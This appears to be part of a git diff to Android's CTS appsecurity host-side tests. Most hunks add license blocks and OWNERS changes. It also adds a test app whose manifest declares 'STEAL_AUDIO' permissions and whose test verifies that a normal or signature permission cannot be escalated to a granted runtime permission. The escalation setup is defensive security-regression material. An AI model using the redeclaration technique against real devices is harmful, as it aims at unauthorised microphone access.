     defaults: ["cts_support_defaults"],
@@ -22,6 +26,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     resource_dirs: ["res"],
     sdk_version: "current",
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
index 416204d..57fe9ec 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsUserApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
index 10b8985..d3766f1 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsEphemeralTestsUserAppTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
index 0bba5ef..c3e818d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test {
     name: "cts-aia-util",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
new file mode 100644
index 0000000..da18781
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -0,0 +1,40 @@
+//
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsEscalateToRuntimePermissions",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "mts",
+        "sts",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..1ac2790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.escalate.permission">
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="dangerous"/>
+
+    <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+        android:permissionGroup="android.permission-group.MICROPHONE"
+        android:protectionLevel="dangerous"/>
+
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+    <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+    <application/>
+
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.escalate.permission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
new file mode 100644
index 0000000..bd208bc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Just need this dummy file to force building Manifest.java. -->
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+  <string name="keysets_perm_desc">keysets_perm_description</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
new file mode 100644
index 0000000..7d866ab
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.escalatepermission;
+
+import static org.junit.Assert.assertSame;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.escalate.permission.Manifest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PermissionEscalationTest {
+    @Test
+    public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        // Ensure normal permission cannot be made dangerous
+        PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+        assertSame("Shouldn't be able to change normal permission to dangerous",
+                PermissionInfo.PROTECTION_NORMAL, (stealAudio1Permission1.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+
+        // Ensure signature permission cannot be made dangerous
+        PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+        assertSame("Shouldn't be able to change signature permission to dangerous",
+                PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+     }
+     
+     @Test
+     public void testRuntimePermissionsAreNotGranted() throws Exception {
+         // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+         //                     during runtime but can become one during reboot.
+         Context context = InstrumentationRegistry.getTargetContext();
+
+         // Ensure permission is now dangerous but denied
+         PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+                 .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+         assertSame("Signature permission can become dangerous after reboot",
+                 PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
+
+         assertSame("Permission should be denied",
+                 context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+                 PackageManager.PERMISSION_DENIED);
+
+         // Ensure permission is now dangerous but denied
+         PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+                 .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+         assertSame("Signature permission can become dangerous after reboot",
+                 PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+                         & PermissionInfo.PROTECTION_MASK_BASE));
+
+         assertSame("Permission should be denied",
+                 context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+                 PackageManager.PERMISSION_DENIED);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
index efe40a7..974e2ea 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsExternalStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
index 3140efa..0c9df8e 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInstantCookieApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
index 33d63d1..5c4573b 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInstantCookieApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
index 23a9a02..677558a 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInstantUpgradeApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
index ebc9394d..fcd862d 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsInstrumentationAppDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
index 796b0b0..ce2dcbd1 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIsolatedSplitApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
index 87e75ec..f17768d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 533114
+patb@google.com
 toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
index 07d7fa6..814e038 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIsolatedSplitAppFeatureA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
index 00aaef0..bee1a5c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIsolatedSplitAppFeatureB",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
index bf0adb4..f5c109d 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIsolatedSplitAppFeatureC",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
index 2259463..43acdfe 100644
--- a/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/Android.mk
@@ -20,6 +20,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts_signature_query_service
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-Iaidl-files-under, src)
 LOCAL_SDK_VERSION := current
@@ -66,4 +68,3 @@
 
 cert_dir :=
 include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
index e010317..6fc4ac5 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsListeningPortsTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index 83c6cb9..d5162f4 100644
--- a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsLocationPolicyApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
index 5584ba2..2bf1d0a 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000000000ffff/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMajorVersion000000000000ffff",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
index 97a1eda9..b8d3ddc 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version00000000ffffffff/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMajorVersion00000000ffffffff",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
index 98c4deb..3ba2c30 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ff00000000/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMajorVersion000000ff00000000",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
index cb9272c..a037e79 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/Version000000ffffffffff/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMajorVersion000000ffffffffff",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
index fa94e20..e094370 100644
--- a/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MajorVersionApp/src-common/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "CtsMajorVersionCommon",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
index 2cf6d92..a110ce0 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMediaStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
index dd599139..0ec98cb 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMultiUserStorageApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
@@ -1,2 +1,2 @@
 # Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
index 92fc9c3..6368312 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsNoRestartBase",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
index 22dc85c..0baacdb 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/feature/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsNoRestartFeature",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
index b843d42..75aa44f 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsOrderedActivityApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
index 02fe5bc..063432c 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPkgAccessApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
index 2739866..c9150a8 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPkgInstallerPermRequestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
index 87d2610c..8580292 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPkgInstallerPermWhitelistApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index 9b3cbdf..0360901 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPermissionDeclareApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
index 2c0ed78..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 137825
-moltmann@google.com
 eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
index 3414f95..22d6d2a 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPermissionDeclareAppCompat",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
index 2c0ed78..e6f3e8d 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
@@ -1,3 +1,2 @@
 # Bug component: 137825
-moltmann@google.com
 eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
index 91cb9bc..d7a6cd7 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
@@ -1,6 +1,10 @@
 //##########################################################
 // Package w/ tests
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsPrivilegedUpdateTests",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index a99a78f..59e714f 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -7,6 +7,8 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsShimPrivUpgradePrebuilt
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_CLASS := APPS
 LOCAL_BUILT_MODULE_STEM := package.apk
@@ -27,6 +29,8 @@
